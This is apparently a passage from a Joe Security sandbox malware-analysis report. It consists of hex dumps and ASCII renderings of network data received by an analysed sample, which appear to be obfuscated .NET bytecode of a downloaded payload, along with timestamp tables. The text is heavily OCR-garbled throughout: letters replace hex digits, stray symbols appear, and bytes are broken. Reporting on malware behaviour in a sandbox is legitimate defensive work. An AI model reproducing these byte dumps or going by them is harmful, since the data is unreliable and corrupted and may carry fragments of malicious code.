7b 02 ff ff ff 90 38 00 00 00 00 20 26 ff ff ff 9b 39 04 00 07 e4 7b 04 00 07 df 7e 00 00 00 00 20 04 00 06 b8 7d 06 00 23 4f
28 04 00 Oc 30 7e 04 00 06 bf 7b 02 04 00 06 b7

Data Ascii: &9{~ }8 }8>\JE88(8W(:~Aj(+0{IN[(+:2SgE(+689{{8 &9{~ }#O(0~{

Data Raw: 30 16 0d 28 05 2b 4a 00 2a 06 00 13 73 28 04 00 08 39 7e 5f 59 a7 fd 28 05 2b 4a 00 2a Oa 00 03 76 28 00 01
09 fe 00 00 09 fe 00 6d 12 7d a4 28 05 2b 5a 00 2a 0a 00 02 b7 28 00 01 09 fe 00 00 09 fe 00 69 59 08 16 28 05 2b 5a 00
00 2a 0a 00 03 75 6f 00 00 09 fe 2f 55 67 56 28 05 2b 46 00 00 2a 0a 00 03 4f 6f 00 02 09 fe 00 01 09 fe 00 00 09 fe 68 77
fb 7b 28 05 2b 66 00 00 2a 0a 00 02 da 6f 00 02 09 fe 00 01 09 fe 00 00 09 fe 49 48 c3 cc 28 05 2b 66 00 00 2a Oa 00 02
cb 6f 00 02 09 fe 00 01 09 fe 00 00 09 fe 51 75 be 3¢ 28 05 2b 66 00 00 2a 0a 00 02 b2 6f 00 00 09 fe 4a 44 47 31 28 05
2b 46 00 00 2a 0a 00 01 ed 6f 00 00 09 fe 5d 61 ba 28 28 05 2b 46 00 00 2a 0a 00 02 85 6f 00 00 09 fe 56 15 ed 1a 28 05
2b 46 00 00 2a 0a 00 02 b1 6f 00 00 09 fe 6b Oa 46 c1

Data Ascii: 0(+J*s(9~_Y (+J*v(m}(+Z*(iY (+Z*uo/UgV(+F*Oohw{(+f*oIH(+f*oQu<(+f*0JDG 1(+F*o]a((+F*oV(+F*okF

Data Raw: 3a 04 00 08 19 7b 04 00 07 df 7e 00 00 00 02 20 ff ff ff 9e 38 ff ff fc 4f 38 00 00 00 Ob 20 06 00 1a 4f 28 04 00
09 f0 7e 14 02 04 ff ff fc 66 38 00 00 00 03 20 26 ff ff fc 71 3a 04 00 07 eb 7b 04 00 07 df 7e 00 00 00 0a 20 06 13 06 00
22 d7 28 04 00 Oc 12 7e 02 2a ff ff fc 93 38 00 00 00 09 20 05 13 06 00 22 cb 28 04 00 Oc Of 7e 05 03 02 2a ff ff fc ad 38
00 00 00 04 20 00 13 06 00 19 ff 28 04 00 09 dc 7e 03 ff ff fc c4 38 00 00 00 01 20 26 ff ff fc cf 3a 04 00 07 e8 7b 04 00 07
df 7€ 00 00 00 01 20 ff ff fd 62 3a 06 00 Oe a7 28 14 00 11 ff ff fc f0 38 00 00 00 01 20 26 ff ff fc fb 3a 04 00 07 ef 7b 04 00
07 df 7e 00 00 00 Od 20 06 00 22 df 28 04 00 Oc 14 7e 06 11 02 ff ff fd 1c 38 00 00 00 06 20 ff f fd 7a 39 06 00 1a Of 28 04
00 09 €0 7e 03 ff ff ff

Data Ascii: :{~ 808 O(~f8 &g:{~ "(~*8 "(~*8 (~8 &~ b:(8 &{~ "(~8 z9(~

Data Raw: 02 13 02 00 01 3a 74 06 00 Oe 40 28 a2 01 00 00 06 8¢ 06 00 22 43 28 04 00 Ob ed 7e 02 1e 25 a2 02 00 01
22 8¢ 0a 11 1d 25 a2 02 00 01 22 8¢ 08 11 1c 25 a2 02 00 01 22 8¢ 19 00 00 00 01 38 18 00 00 00 06 3b 1a 06 00 22 3f
28 04 00 Ob ec 7e 02 1b 25 a2 01 00 00 05 8¢ 04 00 06 cf 7b 02 1a 25 a2 09 11 19 25 a2 07 11 18 25 a2 06 11 17 25 a2 0
400 06 d7 7b 02 16 25 01 00 00 16 8d 09 1f 9a 16 Ob 11 7a 0a 00 01 2b 73 06 00 17 27 28 04 00 09 26 7e 61 04 00 08
18 7b 04 00 07 df 7e 61 3d 9f 61 fb 20 61 0a b0 bb 64 20 55 bf 26 12 20 ff ff 6 aa 38 00 00 00 04 20 26 ff ff 6 b5 39 04 00
07 fd 7b 04 00 07 df 7e 00 00 00 0a 20 01 13 04 00 06 dO 7b 02 ff ff f6 d1 38 00 00 00 26 20 ff ff fb 7c 3a 0a 00 02 6d 28
14 04 00 06 dc 7b 02 7a 0a 00 02 Oc 73 ff ff 6 f2 38 00 00

Data Ascii: :t@("C(~%6"%"%"8;"2(~%{%%%6%{%z+s'(&~a{~a=a ad U& 8 &9{~ {8& |:m({zs8

Data Raw: 45 00 00 Oc fe 00 00 00 12 38 Oa 00 00 82 28 01 12 02 11 00 00 00 00 c2 38 00 00 00 05 00 00 00 9f 00 00 00
€7 00 00 00 03 45 00 03 Oc fe 00 00 00 00 38 00 03 Oe fe 00 00 00 01 20 49 38 90 6e 28 05 2b 11 00 01 a5 00 00 01 13
00 03 30 1b 00 00 00 00 6d 03 1b 5a 02 c1 00 02 00 00 00 00 6d 01 ae af 00 ff 00 02 00 00 1c 01 ff ff ff el 38 01 13 50 03
ff ff fc 2e 38 00 0d Oe fe 00 00 00 03 20 ff ff fe a8 3f 16 00 11 ff ff fc 44 38 00 Od Oe fe 00 00 00 02 20 ff ff fc aa 3a 06 00
0d b5 28 14 0b 11 ff ff fc 63 38 00 00 00 0d 20 26 ff ff fc 6e 3a 04 00 08 Of 7b 04 00 07 df 7e 00 00 00 08 20 Oc 13 04 00
06 b3 7b 02 2a 15 ff ff fd 23 38 dc ff ff ff a4 38 00 00 00 00 20 26 ff ff ff af 3a 04 00 07 ec 7b 04 00 07 df 7e 00 00 00 00 20
06 00 0d ca 28 07 11 ff ff ff ca 38

Data Ascii: E8(8E8 18n(+0mZm8P.8 ?D8 :(c8 &n:{~ {*#88 &:{~ (8
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kBytes

Timestamp transferred Direction
2022-05-23 16:46:57 UTC 1163 IN
2022-05-23 16:46:57 UTC 1179 IN
2022-05-23 16:46:57 UTC 1195 IN
2022-05-23 16:46:57 UTC 1211 IN
2022-05-23 16:46:57 UTC 1227 IN
2022-05-23 16:46:57 UTC 1243 IN
2022-05-23 16:46:57 UTC 1259 IN
2022-05-23 16:46:57 UTC 1275 IN
2022-05-23 16:46:57 UTC 1291 IN
2022-05-23 16:46:57 UTC 1307 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 00 00 01 45 00 02 Oc fe 00 00 00 04 38 00 00 00 00 20 26 00 00 00 0f 39 04 00 07 d7 7b 04 00 07 df 7e 00
00 00 00 20 00 00 00 3d 39 03 11 ff ff ff 79 dd 00 00 00 00 38 06 00 18 23 28 04 00 09 65 7e 03 11 ff f ff c1 38 00 00 00
00 20 26 ff ff ff cc 39 04 00 07 d8 7b 04 00 07 df 7e 00 00 00 00 20 06 00 21 8b 28 04 00 Ob bf 7e 04 03 11 02 00 00 00
2d 38 00 00 00 05 00 00 00 32 00 00 00 02 45 00 00 Oc fe 00 00 00 04 38 00 00 00 01 20 26 00 00 00 Of 39 04 00 08 14
7b 04 00 07 df 7e 00 00 00 01 20 06 00 21 87 28 04 00 Ob be 7e 04 03 11 00 2a ff ff ff cO 38 00 00 00 00 20 26 ff ff ff cb
3a 04 00 07 db 7b 04 00 07 df 7e 00 00 00 00 20 03 13 06 00 18 1b 28 04 00 09 63 7e 05 02 03 00 00 00 2f 38 00 00 00
05 00 00 00 34 00 00 00 02 45 00 01 Oc fe 00 00 00 00 38

Data Ascii: E8 &9{~ =9y8#(e~8 &9{~ |(~-82E8 &9{~ !(~*8 &:{~ (c~/84E8

Data Raw: fe 00 00 00 Ob 20 ff ff fc ce 3c 16 06 00 19 63 28 04 00 09 b5 7e 09 11 06 11 ff ff fc 20 38 ff ff fe b5 39 06 00 Oc
ea 28 14 00 11 ff ff fb 56 38 00 00 00 07 20 04 13 0a 00 02 €3 73 03 11 02 11 a2 06 00 21 2b 28 04 00 Ob a7 7e 03 16 25
01 00 00 16 8d 17 Oa 00 02 ce 6f a2 06 00 20 c7 28 04 00 Ob 8e 7e Oa 00 00 31 28 06 00 Oc e4 28 01 00 00 03 20 02 16
2501 00 00 2e 8d 17 01 11 ff ff fb a9 38 00 00 00 Oc 20 ff ff fe e4 3a 06 00 Oc d9 28 0d 11 ff ff fb bf 38 00 00 00 0d 20 Oa
13 06 00 21 37 28 04 00 Ob aa 7e 09 11 02 ff ff fd be 38 01 13 14 ff ff fb e0 38 00 00 00 10 20 02 13 a2 0a 00 02 4b 6f 06
00 17 27 28 04 00 09 26 7e 61 04 00 08 01 7b 04 00 07 df 7e 61 4e 2d aa 84 20 04 5b 14 d7 20 01 11 16 25 01 00 00 d1
8d 17 ff ff fc 1c 38 00 00 00 16 20 00 00 00

Data Ascii: <c(~ 89(V8 s!+(~%o0 (~1(( %.8 :(8 !7(~88 Ko'(&~a{~aN- [ %8

Data Raw: ef 7b 04 00 07 df 7e 61 2c 66 d9 c7 20 59 09 8f 34 74 20 45 9e 43 e4 20 06 00 Oc eb 28 0a 00 02 0a 6f 03 06
0017 27 28 04 00 09 26 7e 61 04 00 08 1b 7b 04 00 07 df 7e 61 17 2f 00 80 20 6¢ ad 9d 31 20 ff ff fd f0 38 00 00 00 04
2026 06 00 18 3f 28 04 00 09 6¢ 7 00 11 04 00 06 7c 7b 02 ff ff fe Od 38 00 00 00 08 20 00 00 00 7e 38 ff ff fe 1c 38 00
00 00 02 20 26 ff f fe 27 39 04 00 08 19 7b 04 00 07 df 7e 00 00 00 02 20 ff f ff a1 39 00 11 ff ff fe 42 38 00 00 00 03 20
06 00 20 b7 28 04 00 Ob 8a 7e 16 00 11 ff ff fe 55 38 00 02 Oe fe 00 00 00 06 20 00 00 00 77 39 04 ff ff fe 6d 38 00 00 00
00 20 26 ff ff fe 78 39 04 00 07 e4 7b 04 00 07 df 7e 00 00 00 00 20 00 13 06 00 20 b3 28 04 00 Ob 89 7e 03 02 ff ff fe 9a
38 00 00 00 05 20 26 ff ff fe a5 39 04 00

Data Ascii: {~a,f Y4t EC (0'(&~a{~a/ I1 8 &2(I~|{8 ~88 &9{~ 9B8 (~U8 wOm8 &x9{~ (~8 &9

Data Raw: 7b 04 00 07 df 7e 61 b6 2f e4 62 20 58 98 77 b0 0d 20 ee 29 56 24 20 ff ff e6 a4 38 Ob 13 0a 00 02 ae 73 69
8e 00 11 ff ff e1 d5 38 00 00 00 8c 20 26 ff ff el e0 39 04 00 07 ef 7b 04 00 07 df 7e 00 00 00 5c¢ 20 ff ff ea 2a 3a 06 00 20
27 28 04 00 Ob 66 7e 06 00 20 13 28 04 00 Ob 61 7e 19 11 ff ff e2 0f 38 00 00 00 5b 20 26 ff ff e2 1a 3a 04 00 08 32 7b 04
00 07 df 7e 00 00 00 50 20 ff ff e6 96 39 06 00 1f fb 28 04 00 Ob 5b 7e 19 11 ff ff e2 3f 38 00 00 00 3c 20 26 ff ff e2 4a 39
04 00 07 fc 7b 04 00 07 df 7e 00 00 00 14 20 00 00 00 1f 38 ff ff e2 63 38 00 00 00 Of 20 ff ff ef 4d 38 ff ff e2 72 38 00 00 O
077 2009 13 9a 08 11 07 11 ff ff e9 cc 38 ff ff fa 51 38 ff ff ff bb 38 04 13 06 00 Oc 6a 28 06 11 ff ff e2 9b 38 00 00 00 31
20 00 00 00 66 38 ff ff e2

Data Ascii: {~a/b Xw )V$ 8si8 &9{~\ *: '(f~ (a~8[ &:2{~P 9([~?8< &J9{~ 8c8 M8r8w 8Q88;j(81 f8

Data Raw: 00 07 df 7e 00 00 00 02 20 54 01 00 00 05 a5 01 11 02 ff ff f 7f 38 00 00 00 00 20 26 ff ff f 8a 39 04 00 08 2d
7b 04 00 07 df 7e 00 00 00 01 20 ff ff ff f8 39 01 11 2a 00 00 00 4f 38 f ff ff c5 3d 16 4a 02 ff ff ff b3 38 00 00 00 00 20 26
ff ff ff be 39 04 00 07 ec 7b 04 00 07 df 7e 00 00 00 00 20 00 00 00 2¢ 39 06 00 1e 9f 28 04 00 Ob 04 7e 01 12 04 03 2a 00
00 00 41 38 00 00 00 05 00 00 00 45 00 00 00 6¢ 00 00 00 46 00 00 00 04 45 00 00 Oc fe 00 00 00 d1 38 46 5f 91 da 28
05 2b 11 00 01 11 00 00 00 e8 00 05 30 13 ff ff fe €5 38 00 00 00 06 20 ff ff ff 29 39 03 ff ff fe 5 38 00 00 00 05 20 26 ff ff
f 00 3a 04 00 08 Oe 7b 04 00 07 df 7e 00 00 00 04 20 ff ff ff 40 38 00 00 00 00 38 ff ff ff 4c 3a 06 00 1d a3 28 04 00 0a c5
7e 00 12 05 04 03 2a 17 ff

Data Ascii: ~ T8 &9-{~ 9*08=J8 &9{~ ,9(~*ABEIFESF_(+08 )98 &:{~ @88L:(~*

Data Raw: ce ae 20 63 00 00 00 06 20 3a 48 c7 76 20 28 11 27 11 ff ff f5 c5 38 ff ff ff 6e 3a 06 00 1d f7 28 04 00 Oa da 7e
17 11 02 7a 0a 00 01 2b 73 06 00 Oc 4e 28 0a 00 02 Oa 6f 04 00 06 5¢ 7b 02 06 00 17 27 28 04 00 09 26 7e 61 04 00 07
ef 7b 04 00 07 df 7e 61 e0 cf 40 f4 20 61 35 6e 7d 8a 20 c5 c8 9f 89 20 ff ff ed €7 38 00 00 00 93 20 Ob 13 01 00 00 03 74
13 11 ff ff ed f6 38 00 Oe Oe fe 00 00 00 69 20 ff ff f1 Oe 39 31 11 ff ff ee Of 38 00 00 00 67 20 26 06 00 1d f3 28 04 00 Oa
d9 7e 16 11 17 11 15 11 02 ff ff ee 2b 38 00 00 00 65 20 26 ff ff ee 36 39 04 00 07 dc 7b 04 00 07 df 7e 00 00 00 Ob 20 ff
ff f8 37 39 0a 00 00 51 28 06 00 17 27 28 04 00 09 26 7e 61 04 00 08 18 7b 04 00 07 df 7e 61 60 59 4b 50 20 61 8d 14 2a
29 20 8f dd f1 34 20 14 11 ff ff ee 7c 38

Data Ascii: ¢ :Hv ('8n:(~z+sN(o\{'(&~a{~a@ a5n} 8 t8i 918g &(~+8e &69{~ 79Q('(&~a{~a YKP a*) 4 |8

Data Raw: 26 ff ff ff ae 3a 04 00 08 22 7b 04 00 07 df 7e 00 00 00 00 20 ff ff ff d8 3a 06 00 1b ab 28 04 00 0a 47 7e 00 12
2a 17 2a 16 00 00 00 6a 38 02 13 06 00 b 9b 28 04 00 0a 43 7e 00 12 00 00 00 13 38 00 00 00 1a 00 00 00 05 00 00 00
18 00 00 00 03 45 00 01 Oc fe 00 00 00 61 38 47 7a 64 4a 28 05 2b 11 00 01 51 00 00 00 cf 00 03 30 13 00 00 2a 06 00
1d cf 28 04 00 0a dO 7e 03 04 00 06 44 7b 02 4c 42 {8 a4 28 05 2b 66 00 00 2a 06 00 1d ch 28 04 00 0a cf 7e 03 04 00 06
44 7b 02 46 6¢ 84 df 28 05 2b 66 00 2a 06 00 1d 7 28 04 00 0a ce 7e 04 03 04 00 06 44 7b 02 6b 65 73 7d 28 05 2b 6a
2a 06 00 Ob a8 73 04 00 06 44 7b 02 31 3a Oc ¢3 28 05 2b 4e 00 00 00 2a 02 00 01 57 8¢ 06 00 Ob a8 73 04 00 06 44 7b
02 64 39 a4 b1 28 05 2b 62 00 00 00 2a 06 00 1d bf 28 04 00 0a

Data AsCii: &"{~ :(G~*8(C~8Ea8GzdJ(+Q0*(~D{LB(+*(~D{FI(+f*(~D{kes}(+*sD{L:(+N*WsD{d9(+b*(

Data Raw: 20 06 00 1a 2f 28 04 00 09 8 7e 01 11 03 ff ff fd 61 38 00 00 00 Oa 20 06 00 1b 33 28 04 00 0a 29 7e 03 ff f
fd 76 38 00 00 00 Ob 20 26 ff ff fd 81 3a 04 00 07 d4 7b 04 00 07 df 7e 00 00 00 27 20 06 00 b 3b 28 04 00 Oa 2b 7e 17
02 11 03 00 00 00 2d 38 06 00 1b 3f 28 04 00 Oa 2c 7e 17 06 11 03 ff ff fd b6 38 00 00 00 29 20 ff ff ff 19 38 ff ff fd c5 38
00 00 00 19 20 06 00 1a 23 28 04 00 09 e5 7e 03 ff ff fd da 38 00 00 00 01 20 26 ff ff fd €5 3a 04 00 07 fb 7b 04 00 07 df
7e 00 00 00 01 20 06 00 1a 27 28 04 00 09 e6 7e 0a 00 00 23 6f 06 00 17 27 28 04 00 09 26 7e 61 04 00 08 35 7b 04 00
07 df 7e 61 3b dO 5f fb 20 59 37 86 8e €0 20 4f 17 89 df 20 06 00 1a 17 28 04 00 09 e2 7e 06 00 Ob 45 28 06 00 Ob 43 28
02 00 01 1b 20 03 03 ff ff fe 49 38 00 00 00 16

Data Ascii: /(~a8 3()~V8 &{~" ;(+~-82(,~8) 88 #(~8 &:{~ '(~#0'(&~a5{~a;_ Y7 O (~E(C( I8

Data Raw: 07 e8 7b 04 00 07 df 7e 00 00 00 00 20 00 00 00 31 39 04 00 06 24 7b 02 00 00 00 2a 38 00 00 00 40 00 00
00 05 00 00 00 2f 00 00 00 03 45 00 00 Oc fe 00 00 00 00 38 00 00 Oe fe 00 00 00 01 20 36 28 ec 59 28 05 2b 11 00 00 01
00 00 01 0a 00 06 30 13 00 ff ff ff 79 38 06 00 1b 17 28 04 00 Oa 22 7e 04 06 00 17 27 28 04 00 09 26 7e 61 04 00 07 dO
7b 04 00 07 df 7e 61 7e ec ff d8 20 58 9a 42 0a 07 20 ad 04 33 9a 20 00 00 00 26 38 06 00 17 27 28 04 00 09 26 7e 61
04 00 08 Oc 7b 04 00 07 df 7e 61 72 ed eb 31 20 65 7f b4 67 20 00 00 00 25 38 00 00 00 05 39 04 00 06 24 7b 02 06 00 1
a17 28 04 00 09 e2 7e 0a 00 00 31 28 06 00 Of b4 28 02 00 00 ed 20 03 03 2a 00 00 00 01 38 36 4f 2d 02 28 05 2b 00 00
00 00 00 00 00 93 00 06 30 03 ff ff ff 8e 38 ff ff f c4 39 04 00

Data Ascii: {~ 19${*8@/E8 6(Y (+0y8('~'(&~a{~a~ XB 3 &8'(&~a{~arl eg %89%{(~1(( *860-(+089

Data Raw: e2 7e 06 00 Oa 55 28 06 00 Of b4 28 01 00 00 16 20 03 03 2a 00 00 00 00 38 06 00 1a a3 28 04 00 0a 05 7e
04 06 00 17 27 28 04 00 09 26 7e 61 04 00 07 fO 7b 04 00 07 df 7e 61 a6 e6 8d fd 20 eb 75 db 75 20 03 ff ff ff c7 38 00 00
0002 20 04 13 06 00 1c 77 28 04 00 Oa 7a 7e 02 00 00 00 49 38 00 00 00 1c 00 00 00 cb 00 00 00 05 00 00 01 ac 00 00
01 92 00 00 00 4e 00 00 00 06 45 00 03 Oc fe 00 00 00 00 38 00 03 Oe fe 00 00 00 03 20 57 6¢ 10 8f 28 05 2b 11 00 01 2f
00 00 01 f8 00 06 30 1b ff ff ff €9 38 06 00 17 bf 28 04 00 09 4c 7e 04 Oa 00 00 95 6f 03 2a 00 00 00 01 38 2f 2a 4f 64 28
05 2b 8e 00 00 00 2a 06 00 Oa 53 28 a2 06 00 17 9b 28 04 00 09 43 7e 04 16 25 01 00 00 16 8d 17 14 04 00 06 03 7b 02
2e 3e 7017 28 05 2b a2 00 00 2a 17 67 2b 10 53 28 05 2b 26

Data Ascii: ~U(( *8(~'(&~a{~a uu 8 w(z~I8NE8 WI(+/08(L~0*8/*Od(+*S((C~%{.>p(+*g+S(+&
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Timestamp transferred Direction
2022-05-23 16:46:57 UTC 1323 IN
2022-05-23 16:46:57 UTC 1339 IN
2022-05-23 16:46:57 UTC 1355 IN
2022-05-23 16:46:57 UTC 1371 IN
2022-05-23 16:46:57 UTC 1387 IN
2022-05-23 16:46:57 UTC 1403 IN
2022-05-23 16:46:57 UTC 1419 IN
2022-05-23 16:46:57 UTC 1435 IN
2022-05-23 16:46:57 UTC 1451 IN
2022-05-23 16:46:57 UTC 1467 IN

Copyright Joe Security LLC 2022

Data

Data Raw: ff ff fe 36 38 00 00 00 01 20 26 ff ff fe 41 3a 04 00 08 35 7b 04 00 07 df 7e 00 00 00 01 20 06 00 17 53 28 04
00 09 31 7e 04 00 00 00 dc 38 00 00 01 2d 3b 18 06 11 ff ff fe 6d 38 00 00 00 00 20 26 ff ff fe 78 39 04 00 08 01 7b 04 00
07 df 7e 00 00 00 00 20 02 13 Oa 00 02 74 7e ff ff fe 93 38 00 00 00 08 20 Oa 00 02 7b 6f 03 11 02 11 1b 00 00 1b 8c 00
11 ff ff fe ad 38 00 00 00 Oa 20 26 ff ff fe b8 3a 04 00 08 1e 7b 04 00 07 df 7e 00 00 00 04 20 ff ff ff 78 3e 16 06 13 25 06
00 17 57 28 04 00 09 32 7e 04 ff ff fe dc 38 00 05 Oe fe 00 00 00 11 20 00 00 00 Oe 38 ff ff fe f3 38 00 00 00 06 20 26 ff ff
fe fe 39 04 00 07 c9 7b 04 00 07 df 7e 00 00 00 02 20 00 13 1b 00 00 1b a5 0a 00 02 70 28 0a 00 02 78 7b 02 00 00 00
313802 13 1b 00 00 2b a5 06 00 1a 73 28

Data Ascii: 68 &A:5{~ S(1~8-;m8 &x9{~ t~8 {08 &:{~ x>%W/(2~8 88 &9{~ p(x{18+s(

Data Raw: 00 38 06 00 13 77 28 04 00 08 3a 7e 66 62 92 12 28 05 2b 11 00 00 01 00 00 00 53 00 03 30 13 00 2a 0a 00
00 31 28 00 00 09 fe 00 5b 11 e7 13 28 05 2b 4a 00 00 2a 04 00 05 e4 7e 40 30 Of f5 28 05 2b 36 00 00 00 2a 01 fe 14 04
00 05 e4 7e 3a 19 3a 24 28 05 2b 42 00 00 ff ff ff 95 38 06 00 13 73 28 04 00 08 39 7e ff ff ff 91 38 00 00 00 00 20 26 ff ff
ff 9c 3a 04 00 07 eb 7b 04 00 07 df 7e 00 00 00 00 20 04 00 05 e3 80 06 00 09 c5 28 06 00 Of b4 28 01 00 00 05 20 ff ff ff
c4 38 00 00 00 01 20 26 ff ff ff cf 3a 04 00 07 fd 7b 04 00 07 df 7e 00 00 00 00 20 06 00 13 77 28 04 00 08 3a 7e 2a 00 00
00 00 38 00 00 00 2f 00 00 00 05 00 00 00 02 45 00 00 Oc fe 00 00 00 73 38 41 Oc 9b f2 28 05 2b 11 00 00 01 00 00 00 8e
00 03 30 13 00 2a 00 00 00 00 38 06 00 1a b7 28

Data Ascii: 8w(:~fb(+S0*1([(+J*~@0(+6*~::$(+B8s(9~8 &:{~ (( 8 &:{~ w(:~*8/ESBA(+0*8(

Data Raw: 00 00 01 20 06 00 1a 2f 28 04 00 09 e8 7e 08 11 03 ff ff fd 09 38 00 00 00 Ob 20 06 00 1b 3b 28 04 00 Oa 2b
7e 17 05 11 03 ff ff fd 21 38 00 00 00 02 20 06 00 la 43 28 04 00 09 ed 7e 04 11 03 00 00 00 2f 38 05 13 06 00 1la 3b 28
04 00 09 eb 7e 03 ff ff fd 46 38 00 03 Oe fe 00 00 00 Oe 20 04 13 06 00 1a 3b 28 04 00 09 eb 7e 03 ff ff fd 65 38 00 00 00
00 20 26 ff ff fd 70 39 04 00 07 d7 7b 04 00 07 df 7e 00 00 00 00 20 07 13 16 ff ff fd 87 38 00 00 00 05 20 06 00 1a 3f 28
04 00 09 ec 7e 17 04 11 03 ff ff fd 9f 38 00 00 00 Oa 20 26 ff ff fd aa 3a 04 00 08 08 7b 04 00 07 df 7e 00 00 00 04 20 06
00 1a 43 28 04 00 09 ed 7e 02 11 03 ff ff ff ca 38 06 00 1a 2f 28 04 00 09 e8 7e 08 11 03 ff ff fd d9 38 00 03 Oe fe 00 00
00 06 20 06 00 1b 8b 28 04 00 Oa 3f 7e 06 00

Data Ascii: /(~8 ;(+~!8 C(~/8;(~F8 ;(~e8 &p9{~ 8 ?(~8 &{~ C(~8/(~8 (?~

Data Raw: 08 Oc 7b 04 00 07 df 7e 00 00 00 05 20 Oa 00 01 ef 6f 16 03 11 01 00 00 34 74 03 ff ff fe 9d 38 00 00 00 33 38
16 2a 03 11 ff ff fd 82 38 00 00 00 Oa 20 26 ff ff fd 8d 39 04 00 07 ce 7b 04 00 07 df 7e 00 00 00 Oe 20 26 06 00 18 3f 28
04 00 09 6¢ 7e 06 00 1a 73 28 04 00 09 9 7e 04 14 04 00 06 0a 7b 02 05 11 ff ff fd cO 38 00 00 00 03 20 04 13 06 00 17
47 28 04 00 09 2e 7e 04 ff ff fd d3 38 00 01 Oe fe 00 00 00 Ob 20 06 00 1a 7f 28 04 00 09 fc 7 02 11 03 11 05 11 ff ff fd f5
38 00 00 00 09 20 06 00 17 5b 28 04 00 09 33 7e 04 04 11 ff ff fe Oc 38 00 00 00 10 20 00 00 00 56 3a 06 00 1a 7b 28 04
00 09 fb 7e 00 11 04 ff ff fe 28 38 00 00 00 07 20 ff ff ff ab 38 ff ff fe 37 38 00 00 00 02 20 00 00 00 81 40 18 06 00 17 73
28 04 00 09 39 7e 04 ff ff fe 52 38 00

Data Ascii: {~ 04t838*8 &9{~ &2(I~s(~{8 G(.~8 (~8 [(3~8 V:{(~(8 878 @s(9~R8

Data Raw: 20 26 ff ff ff 94 39 04 00 07 ca 7b 04 00 07 df 7e 00 00 00 01 20 06 00 13 73 28 04 00 08 39 7e ff ff ff b2 38 00
00 00 00 20 26 ff ff ff bd 3a 04 00 08 1f 7b 04 00 07 df 7e 00 00 00 00 20 06 00 13 77 28 04 00 08 3a 7e 00 00 00 52 38
04 00 05 8f 80 0a 00 02 10 73 00 00 00 00 38 00 00 00 3d 00 00 00 14 00 00 00 05 00 00 00 03 45 00 00 Oc fe 00 00 00
00 38 00 00 Oe fe 00 00 00 02 20 49 32 35 12 28 05 2b 11 00 00 01 00 00 00 91 00 03 30 13 ff ff ff 6e 38 ff ff ff 97 39 03
2a ff ff ff 68 38 00 00 00 01 20 26 ff ff ff 73 3a 04 00 07 ec 7b 04 00 07 df 7e 00 00 00 00 20 06 00 17 bf 28 04 00 09 4c 7e
03 06 00 17 bb 28 04 00 09 4b 7e 02 03 7a 0a 00 01 8d 73 06 00 17 27 28 04 00 09 26 7e 61 04 00 07 f8 7b 04 00 07 df
7e 61 2f de 52 ea 20 59 67 fc ce 35 20 d8 dd a4

Data Ascii: &9{~ s(9~8 &:{~ w(:~R8s8=E8 125(+0n89*h8 &s:{~ (L~(K~zs'(&~a{~a/R Yg5

Data Raw: ff ff ff 69 3d 16 04 Oe ff ff fd 96 38 00 00 00 02 20 ff ff fe 33 38 ff f fd a5 38 00 00 00 Ob 20 ff ff fe 42 38 ff ff fd
b4 38 00 00 00 02 20 26 ff ff fd bf 39 04 00 08 37 7b 04 00 07 df 7e 00 00 00 05 20 ff ff fe €5 3b 17 05 7a 06 00 19 43 28
04 00 09 ad 7e 04 ff ff fd €6 38 00 00 00 0a 20 00 00 00 dO 38 ff ff fd f5 38 00 00 00 06 20 06 00 19 3f 28 04 00 09 ac 7e O
402 03 04 00 05 84 7b 04 00 00 00 6d 38 06 00 19 47 28 04 00 09 ae 7e 04 18 04 Oe ff ff fe 25 38 00 00 00 Of 20 06 00 1
9 4f 28 04 00 09 b0 7e 05 04 00 11 ff ff fe 3d 38 00 00 00 Oc 20 26 ff ff fe 48 39 04 00 07 d6 7b 04 00 07 df 7e 00 00 00 Oe
20 00 00 00 1f 3a 06 00 18 1f 28 04 00 09 64 7e 14 16 02 17 16 0a 00 00 1a 6f 02 04 04 00 05 84 7b 04 ff ff fe 7d 38 00
00 00 00 20 26 ff ff fe 88 39

Data Ascii: i=8 388 B88 &97{~ ;zC(~8 88 2(~{m8G(~%8 O(~=8 &HI{~ :(d~0{}8 &9

Data Raw: 00 05 00 00 00 03 45 00 02 Oc fe 00 00 00 64 38 51 47 d2 cb 28 05 2b 11 00 00 d9 00 00 00 cb 00 03 30 13 00
00 2a 06 00 18 7f 28 04 00 09 7c 7e 02 06 00 07 52 73 03 5a 79 48 2¢ 28 05 2b 66 00 00 00 2a 06 00 18 b7 28 04 00 09
8a 7e 06 00 17 27 28 04 00 09 26 7e 61 04 00 07 f0 7b 04 00 07 df 7e 61 9a 3f 5e d1 20 65 28 53 df €9 20 02 62 22 44 02
28 05 2b d2 00 ff ff fe 6 38 00 00 00 01 20 26 ff ff ff 01 3a 04 00 08 25 7b 04 00 07 df 7e 00 00 00 00 20 00 13 06 00 17
27 28 04 00 09 26 7e 61 04 00 08 14 7b 04 00 07 df 7e 61 14 e7 5e 71 20 47 06 b0 6e 20 ff ff ff 37 38 00 00 00 02 20 ff f
ff €4 39 06 00 07 ea 28 14 03 00 00 00 16 38 00 00 00 3b 38 Oa 00 02 Oa 6f 03 ff ff f 5d 38 00 00 00 00 20 26 ff ff ff 68 3a
04 00 07 f9 7b 04 00 07 df 7e 00 00 00 00 20 00

Data Ascii: Ed8QG(+0*(|~RsZyH, (+/*(~'(&~af~a?" e(S b"D(+8 &:%{~ (&~a{~a"q Gn 78 9(8;80]8 &h:{~

Data Raw: 00 00 01 20 26 ff ff ff b7 3a 04 00 07 e4 7b 04 00 07 df 7e 00 00 00 02 20 00 00 00 65 3a 04 00 05 37 7b 02 00
00 01 06 38 00 00 00 2f 00 00 00 fe 00 00 00 c8 00 00 00 58 00 00 00 05 00 00 00 4c 00 00 00 9f 00 00 01 Ob 00 00 00 08
45 00 00 Oc fe 00 00 00 00 38 00 00 Oe fe 00 00 00 03 20 63 58 34 b4 28 05 2b 11 00 00 02 00 00 01 7f 00 05 30 13 00

00 ff ff fc af 38 00 00 Oe fe 00 00 00 13 20 ff ff ff c8 39 0a 00 01 f9 6f 02 12 04 11 04 00 05 39 7b 02 ff ff fc d5 38 00 00 00
0d 20 ff ff fd 99 38 ff ff ff b3 38 02 13 15 ff ff fc ec 38 00 00 00 03 20 02 13 15 ff ff fc f5 38 00 00 Oe fe 00 00 00 14 20 ff ff f
e 5d 3a 03 ff ff fd 0d 38 00 00 00 Oe 20 ff ff fe ba 3a 04 11 ff ff fd 1a 38 00 00 Oe fe 00 00 00 Of 20 ff ff fe 93 38 ff ff fd 31 38
00 00 00 08 20 0a 00

